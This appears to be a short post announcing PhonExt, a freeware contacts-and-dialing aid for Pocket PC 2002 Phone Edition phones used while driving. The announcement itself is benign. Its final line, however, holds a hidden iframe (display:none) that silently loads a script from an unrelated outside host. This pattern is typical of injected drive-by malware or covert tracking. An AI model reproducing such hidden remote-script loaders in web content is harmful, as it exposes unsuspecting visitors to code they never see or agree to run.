Did you already try to make a phonecall with your XDA or MDA in your car? Then you certainly discovered a disadvantage of PocketPC Phone Edition: the buttons and menus in the Contacts application are much to small to select a contact and a number while driving (unless you have very sharp eyes and tiny fingers).
That's why I wrote PhonExt.

PhonExt makes it easier to scroll through your contacts, select a phone number and make a phonecall.
PhonExt makes it possible to really use your XDA or MDA while driving.

And with PhonExt you can easily recognize who is calling, even without watching the screen!
PhonExt offers the possibility to assign a specific ring tone to a contact or even to a category of contacts!

PhoneExt works on all pocket pc's with integrated phone that have Pocket PC 2002 - Phone Edition as operating system.

You can download it from http://phonext.oabsoftware.nl.
PhonExt is freeware!<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>